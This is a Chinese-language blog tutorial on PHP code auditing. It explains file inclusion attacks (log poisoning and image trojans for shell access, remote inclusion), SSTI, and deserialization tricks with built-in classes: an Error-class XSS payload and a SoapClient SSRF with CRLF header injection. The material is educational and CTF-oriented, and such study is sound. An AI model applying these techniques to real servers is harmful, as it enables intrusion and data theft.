文件包含漏洞 :开发人员希望代码更加灵活,有时会将包含的文件设置为变量,用来动态调用,由于这种灵活性,可能导致攻击者调用恶意文件,造成文件包含漏洞。
文件包含函数
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web 应用中居多,而在 JSP、ASP 程序中却非常少,甚至没有。PHP 中提供了四个文件包含的函数,分别是 include()
、include_once()
、require()
和 require_once()
。它们的特点为:
- include :出现错误时,会抛出一个警告,程序继续运行。
- include_once :出现错误时,会抛出警告,且仅包含一次。
- require :出现错误时,会直接报错并退出程序执行。
- require_once :出错时直接退出;且仅包含一次。
提示
只要被包含文件的文件内容符合 PHP 语法,不管文件类型是什么,该文件都会被 PHP 解释器解析执行;如果文件内容不符合 PHP 语法,就会将该文件内容读取出来。
文件包含漏洞类型
本地文件包含
当包含的文件在服务器本地时,就形成了本地文件包含。
- 由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。
- 读取网站源码以及配置文件。
- 包含日志文件 GetShell(可以通过与网站交互在日志文件中形成一段 PHP 代码)。
- 很多时候本地文件包含漏洞会结合网站的文件上传功能,从而形成更大的威力。
- 上传图片马,包含图片马 GetShell。
包含文件的时候可以直接写路径 '/path/to/your/file.php'
,也可以使用 file 伪协议 file:///path/to/your/file.php
,两种方式是等价的。
远程文件包含
当包含的文件在远程服务器上时,就形成了远程文件包含。远程文件包含的时候需要写文件的 URL 路径 'http://example.com/shell.txt'
。
利用前提:
allow_url_fopen=On
(默认开启)allow_url_include=On
(默认关闭)
这里有一点要注意的是远程文件包含一句话木马时,不要做成 .php
文件,一般做成 .txt
文件,因为:
- 如果是
.txt
文件,远程文件包含时获取的是文件原本的内容,然后代码会在 Web 服务器中被当做 php 代码执行。 - 如果是
.php
文件,远程文件包含时获取的是.php
文件在远程服务器中执行的结果(并且用户传递的参数不会传递给远程服务器),然后在 Web 服务器会直接把该结果返回给用户。
文件包含漏洞利用
php://input
1 | include 'php://input'; |
模板注入相关
SSTI(服务器端模板注入) 是一种攻击方式,攻击者通过控制输入,将恶意“模板语法”注入到后端模板引擎中,使模板引擎在渲染页面时执行这些恶意语句,从而造成信息泄露、权限绕过,甚至远程代码执行(RCE)。
它属于 代码注入 漏洞的一种,但特别之处在于注入的“语言”是模板语法(例如 {{ ... }}
),而不是 PHP 原生代码。
模板引擎(Template Engine) 是一个用于生成动态 HTML 的系统。它允许开发者用变量、控制语句(如 if、for)、函数等嵌入到 HTML 中。
PHP 原生类利用
PHP 原生类指的是 PHP 自带提供、无需用户定义、通常由 PHP 内核或扩展模块实现的类。我们可以通过 get_declared_classes()
函数获取当前脚本中所有已经定义的类的名称,然后枚举其中所有的魔术方法。
1 |
|
结果如下(可能由于 PHP 版本还有加载的扩展不同,结果会稍有差别):
1 | Exception::__wakeup |
其中与反序列化利用相关的原生类有:
Exception
:所有异常的基类。Error
ZipArchive
:用于创建、读取、修改.zip
压缩包的类。SoapClient
:PHP 原生的 SOAP 客户端,用于远程调用服务。
使用 Error
/Exception
内置类进行 XSS
在许多 CMS、后台日志查看器、调试工具等中可能存在下面这种代码逻辑:
1 |
|
如果我们能通过一个反序列化原生类,让该原生类的 __toString
返回一段可控数据,那么这段数据就可以被插入到 HTML 页面上形成反射型 XSS。
在 PHP 中有 Error
和 Exception
是 PHP 内置的异常处理基类。
Exception
类是 PHP 中最早引入的异常处理类(自 PHP 5 起),用于程序逻辑异常的捕获和处理(如数据库错误、文件未找到、用户输入不合法等)。Error
类是 PHP 7 引入的新异常类型,用于表示致命错误(如类型错误、算术错误等),补充了原本Exception
处理不到的运行时错误。这个类是所有 PHP 内部错误类(如TypeError
,ParseError
)的父类。
由于 Error
和 Exception
都实现了 __toString()
方法,它们继承自 Throwable
接口(PHP7+),内部 __toString()
方法会返回的字符串受对象本身控制。因此这两个类都满足上述情境。
1 | ZEND_METHOD(Exception, __toString) |
以 Error
类为例,如我们构造下面这个 Error
对象并获取序列化的结果:
1 |
|
那么这段序列化数据在被反序列化后,其中的 JS 代码会被插入到 __toString
返回结果中。
1 | Error: <script>alert(1)</script> in /home/user/scripts/code.php:3 |
利用 SoapClient 类进行 SSRF
SoapClient
是 PHP 官方提供的 SOAP WebService 客户端。
提示
该扩展默认不开启,我们需要修改 php.ini
开启扩展。
1 | extension=soap |
另外在 Linux 下还要安装扩展:
1 | sudo apt install php-soap |
在非‑WSDL 模式下,只要给它一组 location
/uri
参数,就能自动把一次方法调用包装成 HTTP/HTTPS POST 请求并发送——这恰恰为 服务器端向任意地址发包 提供了便利。更重要的是:
SoapClient
可以被 序列化 / 反序列化;- 反序列化后,如果代码里对该对象调用了一个「不存在」的方法,
__call()
会被触发,进而 自动发请求; user_agent
等可控字段允许插入\r\n
,可扩展为 CRLF 注入 来伪造额外请求头或请求体。
例如我们按下面这样构造一个 SoapClient
对象并且调用不存在的方法触发 __call
魔术方法:
1 | $ua = "evil\r\n" |
则会触发 SSRF:
1 | POST /flag.php HTTP/1.1 |
在构造 SoapClient
对象的时候会将传入的 location
还有 user_agent
写入对象属性。
1 | /* 非‑WSDL 模式必须手动给 location */ |
在我们调用 SoapClient
的一个不存在的方法时会有如下调用链:
1 | ┌─ 用户代码 $client->foo() # foo() 并不存在 |
其中 location
会在 soap_client_call_common
函数中被取出。
1 | // L4635 选取 location |
然后在 do_soap_call
函数中作为请求的 URL 传入 do_request
函数。
1 | // Non‑WSDL 分支 |
最终调用到 make_http_soap_request
函数,此时构造函数传入的 user_agent
会被 curl_slist_append
函数添加到请求头 headers
中。
1 | curl_easy_setopt(curl, CURLOPT_URL, location); // ← 完整 SSRF |
由于 curl_slist_append()
不会过滤 \r
或 \n
:
- 只要在 UA 里插入
\r\n
并加上一个空行,后面的部分就被当成新的 Header; - 再插入
\r\n\r\ntoken=ctfshow
,即可把原本的 XML 丢掉,让 body 变成自定义表单数据。
利用 ZipArchive 进行文件操作
PHP 代码混淆对抗
无扩展方案
PHP 扩展方案
- Title: PHP 代码审计基础
- Author: sky123
- Created at : 2025-03-17 22:30:29
- Updated at : 2025-08-02 01:51:12
- Link: https://skyi23.github.io/2025/03/17/PHP 代码审计基础/
- License: This work is licensed under CC BY-NC-SA 4.0.